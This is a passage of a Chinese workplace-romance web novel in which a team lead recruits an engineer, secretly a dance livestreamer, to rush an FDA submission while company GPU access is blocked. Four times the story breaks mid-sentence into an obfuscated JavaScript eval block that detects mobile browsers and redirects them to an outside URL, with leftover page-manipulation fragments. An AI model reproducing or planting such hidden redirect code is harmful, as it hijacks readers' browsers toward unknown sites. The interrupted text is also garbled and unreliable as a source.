许翊年回答得倒挺干脆:“没有。”
陈也柠噎住,他……会议结束要走的时候,看起来不像是没兴趣的样子啊!
陈也柠真想说那句名人名言——真的吗,我不信。
陈也柠:“那如果邀请你加入呢?“
许翊年整场下来就是完完全全的明知故问:“谁邀请我?”
陈也柠:“……我。”
“哦。”许翊年终于抬了下嘴角,轻轻巧巧地问:“为什么?你们事业部都没研发资源了吗?”
如果许翊年来了,就会知道真相,陈也柠没必要逞强。
她沉吟了一会,说:“我希望你能加入。”
许翊年:“我只是个初级算法工程师而已。”
陈也柠:“……但我现在需要你。”
许翊年唇角微弯,也挺容易满足:“行。”
面对许翊年的出其不意,陈也柠眨了两下眼睛,随后睁大了一些。
许翊年:“但我有个条件。”
陈也柠没有想到这么顺利就进入谈条件的阶段了,她微敛惊喜,“你说。”
许翊年:“项目上涉及技术上的分歧,我说了算。”
哈喽?
这时候不说自己只是个初级算法工程师而已了?
陈也柠:“你说了算?”
许翊年慢条斯理:“对,我说了算。”
陈也柠犹豫了几秒,问许翊年:“第二个条件是什么?”
许翊年耸肩:“只有这一个条件。”
陈也柠牢记任务第一步,先把许翊年骗到手。
她笑起来,答应许翊年:“成交。”
听到这两个字后,许翊年就起身了。
陈也柠视线跟着他。
许翊年:“我去写申请。”
这个效率陈也柠很喜欢,她从自己能出力的角度问许翊年:“你领导好说话吗?需要我沟通什么吗?”
许翊年:“不用。”
陈也柠:“……你给我一种你们项目组有你没你都没差的感觉。”
许翊年:“不然呢?一般借调不都是找最清闲的那个人吗。”
陈也柠:“……”
不是,那你一脸没睡醒的样子是怎么一回事。
许翊年看得出来陈也柠脸上的疑惑,无声回答她:别管。你半路走了,我直播到几点你又不知道。
……
隔天上午,小会议室里,陈也柠把马克笔“啪”地一扣,转身面对刚办完调岗手续的许翊年。
陈也柠:“需要我来一段欢迎词吗?”
“……”许翊年被突如其来的一句话搞得延迟了好久才开口:“您挺幽默。”
跟临时借调不同,这次毕竟要相处至少一个月,陈也柠还想多释放一些善意来着,看来对方不是很需要,那挺省事。
陈也柠回到舒适区,她指了指白板最上方的一行字——
FDA预提交技术清单。
陈也柠:“这是你的任务,有任何问题都可以提。”
许翊年逐行看后,回答陈也柠:“没问题。”
陈也柠:“很好。FDA需要的数据和代码方面,我就全部交给你负责了。”
许翊年停顿了一下,确定自己没听错:“全部?”
陈也柠语气平静:“全部。”
许翊年:“这么相信我。”
陈也柠:“不相信你也不会找你了。”
许翊年透过现象看到了本质,轻抬嘴角:“你在这里混得很差嘛。”
这回,换陈也柠被突如其来的一句话搞得延迟了好久才开口:“你申请调岗的时候,你领
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535519|186532||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
导是秒批吗?”
许翊年抬了下眉尾,嘴角笑意更甚了。
“看来情况也没有想象中紧迫,我们还有时间在这里互相中伤对方。”
陈也柠嘴角也飘起笑意,不准备把脑细胞用在继续攻击许翊年这件事上了。
许翊年:“SPF实验室我可以随时用吗?”
陈也柠立刻在手机上调出对话框,“我马上确认。”
等待的间隙,陈也柠节约时间:“还有什么问题吗?”
许翊年:“有。“
陈也柠欢迎提问。
许翊年:“我在这里有工位吗?”
陈也柠真想说“您也挺幽默”,还是特别冷的那种。她回答:“有。”
许翊年:“谢谢啊。”
对话框弹出了实验室的借用情况,陈也柠低头,指尖在屏幕上一顿,眉心蹙起。
实验室09:00-18:00已被陈旬的项目全线占满,备注栏一行红色小字写道——
借用理由:产线良率爬坡,请勿调整。
许翊年看出陈也柠的表情变化,问她:“怎么了?”
陈也柠:“……实验室只有下班之后才能用。”
许翊年看起来没什么所谓地说:“那就下班之后用吧……”
陈也柠看到许翊年的表情在话音未落之时起了变化。
这事怪她,没有第一时间申请。
她也是没想到陈旬速度这么快。
组上没有个贴心的技术是这样了。
空气安静着,陈也柠忐忑地等着许翊年。
许翊年确实停顿并且闪过一瞬为难的表情,不过最后,他还是说道:“没事。”
……就是晚上拍视频有点麻烦了,直播更麻烦。
算了,到时候再说吧。
许翊年:“暂时没什么其他问题了。”
陈也柠:“那我带你去工位。”
两个人同时起身,陈也柠说:“对了。”
许翊年:“?”
陈也柠:“加下微信。”
工作场景加微信,再平常不过。
陈也柠虽然是这么告诉自己的,但故作冷静,好像一丝风都不曾吹过一般说完这句话后,内心还是小波澜一下。
许翊年听到这句话后,目光在她脸上停留两秒,才拿出手机,也更加深了陈也柠心跳的强度。
许翊年:“我扫你。”
工位干净整洁,没有什么需要许翊年调整的。他把电脑在桌面上一放,就安家了。
开始全情投入工作之前,许翊年想了想,还是拿出手机,预了个告。
【这周有事不直播】
很快有大批粉丝留言【为什么?!这是为!什!么!】
许翊年【领导说她需要我】
粉丝们很快抓住关键信息【她?????】
许翊年回复的时候没想太多,纯陈述事实。没想到立刻引起了轩然大波。
他看着每过几秒钟就狂飙的留言数量,想想——就这样吧,不想改了,本来就是领导说她需要我,没毛病。
许翊年嘴角勾起一个无人察觉的弧度,随即将手机屏幕朝下扣在桌面上,开始工作。
5. chapter 05
下午,茶水间。
“……真的,超话里都炸了!‘领导说她需要我’,大家都觉得这句话非常暧昧,跟暗戳戳秀恩爱没差别。”
“那咋了,反正你也泡不到他啊。”
“……你好狠的心,还不准我心痛一下吗!”
年轻女同事们围在咖啡机旁,手机贴手机,脑袋抵脑袋,聊得热火朝天。完全没有注意到玻璃门被推开。
陈也柠站在门口,手里端着黑白棋盘格样式的马克杯。
空气瞬间安静。
“……柠总。”
几个人像被按下暂停键,脸上陆续划开假笑,手机屏幕慌乱地锁屏。
陈也柠面不改色地走进来,把杯子放在咖啡机上。
立刻离开显得有些不太礼貌,年轻女同事们纷纷看了对方一眼。
陈也柠对于自己在公司的形象和人缘并不在意,造成今天这个局面,主要源于她在公司懒得放太多情绪,一门心思做事的风格,让大家觉得很有距离感。
见女孩们犹犹豫豫,等咖啡的过程中,陈也柠转身问她们:“在聊什么?这么激动。”
“没什么,就……娱乐八卦。”女同事看到陈也柠转身看着她们,干笑着回答。
到这里为止,女同事们其实可以告辞了,但偏偏这个时候,玻璃门再次被推开。
许翊年耳机绕颈,一只手揣兜,另一只手拎着空杯,也来接水。
女同事们微微一顿,眼珠子和脚底板同时挪不动了。
陈也柠的咖啡还没好。
这下不是女同事们在心里琢磨什么时候走的问题了,是琢磨怎么样才能多留一会的问题。
“柠总平时玩抖音吗?”
许翊年默默接水,眼皮半抬。
陈也柠轻咳一声,说:“不怎么玩。”
陈也柠余光看到许翊年低头抬了下嘴角,不明白他在笑啥。
“好吧。”女同事说:“思思最近很迷的一个舞蹈博主,叫摩卡,疑似有女朋友了,她正捶胸顿足呢。”
许翊年的背影停住:……?
“哦……”陈也柠心里想的是:啊?
“我没刷到过。”陈也柠心里想的是:有女朋友了?
许翊年端着杯子准备出去,思思目光追随,偏了偏头,向说自己没刷到过的陈也柠描述:“长得跟他有点像。”
许翊年眼皮一跳,看着思思。
思思心跟着一跳,差点有冲动想上手遮住许翊年的下半张脸,看看他戴上口罩是什么样子。
“那肯定不是他。”陈也柠的咖啡好了,她端起杯子,少有的谈笑状态:“他一看就四肢僵硬,你刚说的是一个舞蹈博主吧?”
许翊年听着这话,饶有兴致:“我是被领导您看不起了吗?”
陈也柠心想,舞蹈领域你也能被刺激到吗,“不然你扭一个看看?”
听罢,许翊年当真放下了杯子。
陈也柠看着他,脑袋里逐渐发出问号。
只见许翊年走向陈也柠,逼得陈也柠下意识往后退了两步,不过两步之后,她就退无可退。陈也柠转头看了一眼齐腰的大理石桌面边缘。
她的瞳孔因为不确定许翊年是什么情况,没底地晃动了一下。
许翊年充满压迫性地靠近陈也柠之后,突然向斜上方,接近陈也柠左耳方向一个抬手,陈也柠被吓得倒抽一口气,半阖眼睛扭过头去。
女同事们也看呆了。
随后,只见许翊年重新把水杯拿了起来,蕴藏笑意淡淡道:“我敢扭你也不敢看。”
说完,怎么走进茶水间,又怎么走了出去,节奏不带乱一下的。
一旁,女同事们全都瞪大眼眸,虽然内心乱尖叫,但面上是抿紧了双唇,一声不敢吭。
陈也柠反应了一会,同样内心尖叫,同样面上一句话没有,端着咖啡,耳尖通红逃回办公室。
和内心双手捂脸,因为抽象中又带着一股莫名张力的炸裂,看得津津有味而尖叫不停的女同事不同,陈也柠尖叫的内容是——
我@!%!*!@(0……什么东西啊!神经病!!!!
……
凌晨一点五十分,实验室自动门“哧啦”一声滑开。
许翊年边摘无菌帽边往外走。他的头发被静电撑得微乱,卫衣领口歪斜,露出锁骨上一点汗意。
走廊灯还留了一盏。
许翊年本以为整个7楼只剩他一个了,可视线一扫,脚步刹时顿住。
陈也柠还在她的工位上。
手机屏幕光映在她的脸部。
大概是冷,她用毯子把自己裹得严严实实,只露出半截指尖,半躺在椅子上滑动手机屏幕。
许翊年放轻脚步,慢慢靠近。
三米、两米——
屏幕上的画面逐渐清晰:
黑口罩、黑帽檐、熟悉的背景音乐,肢体随节点精准晃动。许翊年一眼就认出来了,那是他的视频。
许翊年挑眉,停在她身后半步,双手插兜。
只见陈也柠指尖继续下滑,下一条还是他的视频,依旧是黑口罩,黑帽檐,不一样的是,这一条视频,少年随着略微性感的音乐节奏,小小撩了一下衣角,线条清晰的腹肌一闪而过。
陈也柠一下就瞪大了眼睛,似乎非常喜欢,咬着指甲盖看了一遍又一遍……
“……”许翊年收了收笑意,将那半步的距离拉近,声音带着熬夜后的沙哑:“这么晚还不回去?”
陈也柠整个人一抖,鲤鱼打挺一样坐了起来。
手机脱手而出,“啪”地一声掉在地上,屏幕还亮着,画面定格在少年撩衣摆的那一秒,腹肌线条闪成冷白色,在光线昏暗的地面上显得格外刺眼。
陈也柠觉得人工智能统治世界是迟早的事了,因为就在许翊年的视线向下,去看掉落在地面的手机的那一刻,视频居然自己又播放了起来。
当然,陈也柠并不知道,看到那暧昧的音乐和画面的时候,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535520|186532||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
并不止她一个人想找个地缝钻进去,她只知道自己的大脑像是被激光枪击穿了一般,先是有种烧灼感,接着开始往上冒烟……
但无论如何,许翊年都比陈也柠好一点,毕竟他没明牌。
见陈也柠已经愣住,大脑停止运作,许翊年好心弯下身,帮她把手机捡了起来。
许翊年直起身,好整以暇地看着她,目光从她通红的脸颊移到那依旧亮着的手机屏幕上,又慢悠悠地移回她的眼睛。
他什么也没说,只是微微偏了下头,嘴角噙着一丝若有若无的笑意,像是什么都说尽了。
“……”陈也柠也不此地无银三百两,她决定什么也不解释,她为什么要解释?她又有什么可解释……
陈也柠接过许翊年递来的手机,第一件事是按熄屏幕……
许翊年浅笑了一下,心想不知道陈也柠一个人待着怕不怕,说:“我准备走了,你呢?”
许翊年后知后觉,这个女强人显然不怕,恐怕一直就以为只有她一个人,不然兴许也不会被他抓到刚刚那一幕。
陈也柠:“我也准备走了。”
说着,陈也柠把该保存的文档都保存好以后,把电脑收进托特包,准备离开。
许翊年看到这一幕,虽然觉得不可思议,但如果是发生在陈也柠身上,似乎也不完全不可能……他问她:“你不会回去还要工作吧?”
挺好的,陈也柠心想,刚刚被抓包的那一幕,看来并没有影响自己在同事心中的刻板印象……
陈也柠:“没。”
许翊年:“那为什么还要把电脑带回去?”
陈也柠:“因为我所有资料都在这台电脑里。”
“……”许翊年:“是有敌人半夜三更会潜进来把你电脑偷走吗。”
陈也柠知道许翊年是在讽刺,她很轻地哼笑了一声,看着许翊年,没打算和他解释太多,只轻描淡写说:“你把职场看得太简单了,弟弟。”
最后两个字,陈也柠特地加了重音,一字一顿。
许翊年准确接收到了挑衅的意思:“……”
陈也柠拎上包走向电梯,许翊年背着双肩包不紧不慢跟在她身后。
电梯一路下行,狭小的空间里十分安静。
许翊年靠在轿厢壁上,似乎有些疲惫地半耸拉着眼皮。
陈也柠将视线从不断变化的数字悄悄移向许翊年,突然之间想到,如果许翊年没答应她过来帮忙,继续留在原来的项目组上,不至于这么累。
“谢谢啊。”
许翊年真的快睡着了,听到陈也柠这句话后,重新睁开眼睛,转头看她。
陈也柠又将视线移向不断变化的数字,说是给组员画饼也好,说是给自己画饼也好,“不管有多少困难,我都一定会把再立这个项目做成的。”
许翊年看着突然之间坚定宣誓起来的陈也柠,微微一愣,随后温柔地笑了一声,虽然陈也柠看起来也有几分自言自语,但他还是出声回应她:“嗯。”
6. chapter 06
园区空旷而安静,只有陈也柠和许翊年两个人。
“你怎么回去?”许翊年出于礼貌,问了一句。
“打车。”陈也柠拿出手机。
许翊年看了眼时间,凌晨两点多。
“你住哪?”
陈也柠大致说了个方位,许翊年问:“要不要坐我的车?”
陈也柠迟疑了一会,问:“顺路吗?”
“还行。”许翊年也想赶紧回家躺着了,他干脆地说:“那你在这等我一会,我把车开过来。”
陈也柠:“好。”
等了不一会儿,陈也柠看到一个带着黑色头盔的男人骑着黑色的重机车从停车棚方向打着光朝她而来,十分酷炫地在她面前停下,长腿蹬地。
陈也柠愣了半晌,直到男人掀开头盔上的透明罩子,对陈也柠说:“上车。”
陈也柠眼睛都看直了:“这是你的车?”
许翊年:“嗯,怎么了?”
“这么酷。”陈也柠有一种时间跨度上的距离感,目光在锃亮的车身上流连了一会儿,感慨起来,“我高中之后就再没有坐过机车了。”
许翊年看着陈也柠忆往昔的表情,“你是在炫耀你高中的时候很多男生追吗。”
陈也柠停顿了一下,脑子很快,平静道:“这种显而易见的事我有必要炫耀吗?”
许翊年微愣,想可能是到半夜了,狼尾巴露出来了,笑而不语。
对于许翊年一下子就得出这样的结论,陈也柠接收到了非常多的讯息,“所以开机车载女生出去玩,是你高中时候的一种把妹手段咯?”
“……”许翊年见陈也柠推理得挺来劲,一点上车的准备动作都没有,问她:“你不困是吧。”
“……”
陈也柠本来想抬个腿就上去了,穿着高跟鞋实现这个动作着实不容易,最后陈也柠还是伸手搭了一下许翊年的肩膀,在他身后落座。
许翊年:“坐稳了?”
陈也柠的声音在许翊年耳后:“嗯。”
车子驶出园区,融入凌晨寂静的城市街道。
凌晨两点二十七分,城市主干道像被水洗过,路灯一盏接一盏往后退,连成一条流动的金色河流。
夜风带着凉意,从两人身侧呼啸而过。
陈也柠只穿着薄薄的一件桑蚕丝长袖。
她想拿许翊年的身体挡挡风,于是身体微微前倾着,额头几乎要抵上他宽阔的后背。
道路两旁的光影一道道掠过,明明灭灭地打在两人身上。
在一个红灯前,车子缓缓停下。陈也柠的上半身随着惯性在许翊年的后背上贴了一瞬,很快被她拉开。
“冷吗?”许翊年的声音从头盔下传来,有些闷,却清晰地钻入她耳中。
陈也柠的两臂都已经发凉了。她摇了摇头,随即想起他看不见,出声回答:“还好。”
在陈也柠摇头的时候,许翊年就转头去看她了,于是便看到她顶着一张被风吹得发白的脸,逞强道:“还好。”
许翊年:“……”
陈也柠还在想,再几分钟就到了,紧接着就看到许翊年脱下自己的卫衣,将衣服递给她说:“穿上吧。”
陈也柠:“……啊?”
许翊年:“你要是生病了,那些申报材料可别指望我。”
陈也柠确实不敢生病,她不啰嗦,接过许翊年的卫衣,套在了身上,上半身瞬间被许翊年还残留在卫衣上的体温温暖包裹。
……
虽然许翊年底下还穿了一件白色长袖,但很薄,而且风是直扑他身上的。
陈也柠看着,问他:“那你OK吗?”
“还好。”许翊年想到陈也柠在办公室时嘲讽的重音,回她:“弟弟年轻,扛得住。”
“……”陈也柠耸拉下眼皮,一脸无语,被后视镜照进了许翊年的视线里。
许翊年低低笑了一声,对陈也柠说:“坐稳了。”
陈也柠赶紧抓住身侧把手。
……
第二天,陈也柠端着加浓美式,顶着两个黑眼圈走进办公室。许翊年已经在工位上戴着耳机一脸专注地进入工作状态了。
陈也柠脚步一顿,惊奇居然从许翊年的脸上一点看不出熬夜后疲惫的痕迹。
反观她,此刻的双脚是轻飘飘的,脑袋也是昏沉沉的,虽然努力想撑住,但还是一脸想死。
为什么!
真就是弟弟年轻,扛得住吗?
我们应该也就差个两岁还是三岁吧。
陈也柠不太服气地在心里想。
感受到视线之后,许翊年漫不经心抬眸看向陈也柠,表情里渐渐流露出一个问号。
陈也柠目光平移开来,对助理说:“帮我通知一下,半小时后开再立项目专项会。”
再立项目分两条线在走,一条是常规的项目构建工作,另一条是FDA的保障工作。
许翊年坐在长桌的尾端,在讲常规工作的时候,他便一脸懒散,偶尔抬眼看一下投影。
轮到许翊年同步工作进展时,他言简意赅,条理清晰。陈也柠听着,不得不承认,自己确实捡到宝了。
“……所以,核心模型的延迟和稳定性已经达标,但还需要大量算力进行并行验证和压力测试。”许翊年总结道。
陈也柠点头:“算力资源我来协调,优先保障我们……”
她的话还没说完,会议室的门被敲响了。
赵聿明的助理妍姐探进头来,脸上带着公式化的微笑:“柠总,赵总找您。”
陈也柠:“可以稍等一会吗,这场会很快结束了。”
妍姐扫了眼与会人员,说:“和你们在开的会也有关系。”
大家本来觉得事不关己,听了这句话后,纷纷集中了注意力。
“那好吧。”陈也柠起身,对组员们说了声“会议暂停一下”,便起身跟着妍姐走了出去。
赵聿明的办公室里,气氛并不轻松。
“也柠,坐。”赵聿明指了指对面的椅子,脸上带着惯常的笑容,但眼底没什么温度,“有个紧急情况要跟你说一下。集团最近有几个重要的AI模型要上线,计算中心那边所有的A100和H100卡,未来两周的时间,都被预定了。”
赵聿明的话像当头一棒,打得陈也柠的心猛地一沉,又觉得荒唐,好半天才开口:“赵总,没有算力我要怎么推进再立的FDA?”
赵聿明:“两周之后就能释放了。”
赵聿明说得轻巧,在陈也柠看来就是拿玩具手枪嗞熊熊大火。
她直言:“那也太赶了,一点容错空间都没有了。”
“我知道,我知道,所以我才这么着急把你找来。”赵聿明一脸为难地说:“我还是会尽力协调的,但公司资源就这么多,不一定能协调出理想的结果。要上线
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535521|186532||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的那几个AI模型是能快速产生现金流的项目,你也知道上面领导现在最看重的就是现金流。”
陈也柠变得急切了起来:“赵总,如果错过这次FDA的窗口期,我们预约的临床资源要全部重新协调,合作方的档期也不会等我们,项目的各种时间节点都会受到影响。”
赵聿明:“我懂,我当然懂。”
陈也柠捕捉到赵聿明不自然的微表情,才意识过来自己实在有些乱了阵脚。
“这样吧。”赵聿明建议:“你们先做理论优化和文档工作,我这边尽量帮你争取,看看能不能挤出一两张卡给你们用。”
一两张卡,对于他们需要进行的计算来说,简直是杯水车薪。
“……好吧,那就麻烦赵总了。”陈也柠渐渐恢复了冷静,收起情绪,不咸不淡地说。
回到会议室,组员们都看出了她脸色不对。
“柠总,怎么了?”周舟小心翼翼地问。
陈也柠深吸一口气,尽量让声音保持平稳:“公司所有A100和H100都被其他项目锁定了,未来两周,我们可能没有足够的算力完成验证。”
会议室里一片哗然。
虽然从眼前看,未来两周没有算力资源,只影响到FDA,但大家已经听说了,公司最近预算紧张,好几个近一两年看不到利益的项目都被砍了,如果FDA出了问题,从长远来说,整个再立项目的命运也岌岌可危。
“那怎么办?”
“两周这么久?之后就算有资源了,时间也来不及。”
陈也柠在极短的时间里整理了下思绪,对大家说:“所有人继续各自手上的工作。算力的问题,你们不用担心,我会想办法的。”
会议在一种人心惶惶的气氛中结束。
陈也柠也要出会议室的时候,许翊年走向她说:“我们聊一下吧。”
陈也柠出神到完全略过,直到听到许翊年喊她的名字,这才回魂,停下脚步看他。
“……”许翊年有些担心地看着陈也柠并不太好看的脸色,问她:“你要不要去休息一会?”
休息一会有什么用,陈也柠自嘲:“我干脆回家躺尸30天好了。”
许翊年纠正她:“28天。”
陈也柠白眼翻了起来:“谢谢你哦。”
许翊年很淡地抬了下嘴角,问她:“能聊两句?”
陈也柠坐回会议室的软皮椅上,顺势将后背瘫进软皮靠垫,懒懒地看着许翊年:“你说。”
许翊年:“赵总有可能再帮忙沟通一下吗?”
关卡一道接一道没有停过,昨晚凌晨三点才入睡,最重要的是早上那杯加浓美式还没喝完……陈也柠真的累了,松懈地对许翊年说:“他现在可能正在办公室狂笑。”
许翊年:“……?”
陈也柠气得牙痒痒,于是张嘴就来:“可能怀里还抱着他最爱的陈旬,两个人一起坐在椅子上转圈圈。”
“……”仿佛陈也柠的话自动织成画面,狠狠地冲击了许翊年,他消化了好半天,这才开口:“……我现在申请调回原来的项目组,还来得及吗?”
陈也柠看了许翊年一会,笑了出来:“随便申请,你就看我批不批吧。”
许翊年:“你这里是什么盘丝洞吗。”
陈也柠又笑了,她都想不到自己现在竟然还能笑得出来,看着许翊年的脸说:“嗯,来了你还想走?”
7. chapter 07
“……所以你们之间到底有什么矛盾。”许翊年被陈也柠说的脑洞也开了起来:“你想介入赵聿明和陈旬之间的感情吗?”
“……”得亏陈也柠是文明人,无大语也只是冷笑。她看了许翊年好半天,真想不通,看起来挺正常一个人,是怎么想出这种可能性的,“干嘛想调回去,你这脑回路多适合我们事业部啊。”
许翊年:“……”
虽然现状超级适合摆烂了,但陈也柠还留着一口气,所以节约时间说:“赵聿明想要我手中脑机接口的核心专利。”
许翊年很意外:“原型是他写的,核心专利不在他手上吗?”
陈也柠:“他当初并不看好这个项目,码了个原始模型当作技术储备之后就没管过了。后面都是我在推动,所以专利上的第一发明人写的是我的名字。他和陈旬的侵入式项目想要在市场上有竞争力,就必须用我这个专利里的低成本信号处理核心。但只要我不签字,他们就不能用。”
其中还包括了三言两语说不清楚的派系利益和政治理由,这部分陈也柠就长话短说了:“如果项目做成了,再立也是他们的竞品。”
陈也柠截止目前说的,许翊年都明白,他不明白的是:“公司为什么会并行两个在市场上互斥的项目?”
陈也柠慢悠悠地摇头说:“并没有并行,在做灵犀项目的时候,大家根本就忘了还有再立的存在。是我坚持做了下去,才让大家想起来的。”
没错,我就是这个项目的再生父母。
陈也柠一点也不谦虚地迎着许翊年蔓延欣赏的目光,很快想到项目也不知道还能生存……或者说苟且多久,于是无名指和小指指腹叩了叩桌面,“说回算力的问题吧。”
两个人同时陷入沉默的思考。
许翊年:“两周后再开始,风险太大了,我们肯定要想办法自己先跑起来。”
陈也柠同意,她想了想,说:“我去找找以前的关系,看能不能联系到一些服务商,租用一些算力。”
许翊年指出现实问题:“成本我们耗得起吗?”
陈也柠叹了口气,一副显然不想面对现实的表情。
“……”许翊年:“我有一个想法。”
陈也柠抬眼看他:“什么想法?”
许翊年拿出手机,快速点开一个聊天群:“我认识一些搞AI研究和加密货币挖矿的朋友,他们手里有不少高端消费级显卡。虽然单卡性能比不上A100集群,但如果数量足够多,通过分布式计算框架整合起来,有可能可以支撑我们的需求。重点是,成本压力会小很多。”
陈也柠眼睛一亮,但随即又蹙起眉:“这能行吗?稳定性、网络延迟、还有数据保密方面……”
“开源框架现在很成熟,可以解决大部分技术问题。至于保密,我会对数据做加密切片处理,计算节点只处理加密后的碎片,完整的原始数据不会离开我们的控制。”
许翊年知道他的每一个举动,不仅仅关系到自己,陈也柠一脸忧心忡忡不是没有道理。讲完解决方案之后,许翊年就不再说什么,给予陈也柠充分的时间作理性权衡。
把数据带出公司处理,是一件相当冒险的事。
FDA过不了,废的是一个项目,但如果数据处理不当,爆了雷,废的就是在公司做过的一切努力。
陈也柠的心砰砰直跳,她视线散在半空中,思考了很久之后,旋即把目光聚拢回来,移向许翊年,看着他坦诚而坚定的目光,伴着慢慢加快的心跳,深呼吸了一口气后,对他说:“就按你的想法做吧。”
许翊年嘴角弯了一下,收起手机起身说:“那我现在就开始联系。”
接下来的几天,项目组表面风平浪静,暗地里却暗流涌动。
周舟隔三岔五就来试探算力情况,陈也柠要稳住军心,但又不能透露太多,和许翊年关于进展的对话,基本都是在线上完成的,但又不敢多留痕,于是总是三言两语,例如——
许翊年:“搞到5张了,还在凑。”
陈也柠:“OK。”
许翊年:“7。”
陈也柠:“好。”
许翊年:“9了。”
陈也柠:“/大拇指/大拇指/飞吻。”
许翊年在对话框前停顿了两秒,实在好奇,转头往陈也柠的位置看了一眼,发现她并没察觉,机敏的眼珠子像猎豹一样四处扫射,确保无人窥屏。
半晌,许翊年才看到陈也柠撤回一条消息,然后对最后那个烈焰大红唇作解释:“点错。”
许翊年忍俊不禁,回复:“你偷感有点太重了。”
陈也柠:“笑屁,你皮最好也绷紧点。“
许翊年:“哦——”
陈也柠看着许翊年微微耸动的背影,默默地、无奈地翻了个白眼。
……
当天晚上,凌晨一点。
实验室的空调发出低沉的嗡鸣,许翊年核对完最后一组数据,确保所有指标都稳在预期范围内后,才揉了揉发酸的脖颈,起身走出实验室。
到了实验室外,许翊年抬手摘下无菌帽,几根发梢翘起,像一只刚打完架的猫。
走廊尽头,陈也柠的工位还亮着。
许翊年懒懒走过去,自然地在她身旁坐了下来。
陈也柠已经不会被吓到,只是往许翊年方向看了一眼,没什么太大反应,她知道许翊年这个时间点还会在。
电脑屏幕上放着起草完的软件生命周期计划书,手机屏幕上则是年轻帅气的男生在跳街舞的视频,许翊年过来的时候是什么样,坐下来的时候还是什么样。
许翊年心想,看来我们的柠总是真的累了,连装都不装了。
许翊年身体向后靠,准备以一个更放松的姿势来调侃陈也柠,瞬间发现了一个很大的问题。
陈也柠手支头,嘴微扬,一脸笑眯眯入神欣赏的,并不是他的视频,而是一个褐发、穿着黑色背心,露出结实胳膊,跳着和他完全不同风格编舞的男生。
这也就算了……不行,算不了,但是先放一边……更刺眼的是,视频右侧的点赞收藏键都被陈也柠点亮。
见许翊年坐在旁边一言不发,没任何动静,陈也柠这才转头看他。
“干嘛?”陈也柠问注视着她正在看的视频发怔的许翊年。
从陈也柠的解读来看,许翊年这会儿就是一脸“你怎么在看这个?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535522|186532||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的表情。
陈也柠不以为意:“放松一下不行?”
许翊年:“……你之前看的好像不是这个人吧。”
虽然现在在看的这个没戴口罩,但是帽檐也压得很低,陈也柠看了看居然一眼认出来的许翊年,接着又看了看视频,表情很惊奇:“这你都分得清?”
陈也柠表现的显然她是很难一眼分清。
许翊年压了压眉心:“所以你意思是,在你看来没差?都一样?”
在陈也柠没察觉到的过程中,许翊年的眼眸逐渐向冷。
陈也柠:“那也不是,还是有一点点差别的。”
许翊年的眼眸在向着黑暗一去不复返的路上急刹车,又慢慢慢慢恢复了温度,像是发现自己又有人要的流浪小狗。
……
虽然表面上声音低沉,但许翊年暗藏期待地问陈也柠:“哪一点?”
陈也柠认真回想,认真阐述:“之前那个偶尔的一些小感觉,我还是蛮喜欢的,看得出来他是真的会跳舞。”
许翊年的嘴角微不可见地抬了抬,戾气退散不少,心想,这还差不多。
陈也柠云淡风轻接着说:“但他好久没更新了。之前我听说他被富婆包养了,看来是真的。”
“……”许翊年有些天没上账号了,什么时候已经被富婆包养了,他自己都不知道。他只知道自己这几天为了某人在到处求爷爷告奶奶,凑显卡搭环境熬夜调试差点猝死。
许翊年看到陈也柠手指轻轻往上一滑,视频里又换了两个朝气蓬勃的男生正在轻快地跳舞,陈也柠看着,嘴角又一点一点扬了起来,还给视频点了个赞。
许翊年的下颌线几不可查地绷紧了一瞬。
他极淡地“呵”了一声,虽然心里很不爽,但还是问陈也柠:“你要在这里继续看他们对你扭来扭去,还是要下班?”
陈也柠把许翊年突然变得冷硬的语气理解为他也很累,于是完全没有多想,收拾东西,对许翊年说:“下班。”
……
一路疾驰回到家。
一进门,背包就被许翊年随手甩在沙发上。
他戴上口罩,拿起棒球帽,走到客厅中央空旷的地方,架起手机直接点开了抖音的拍摄界面。
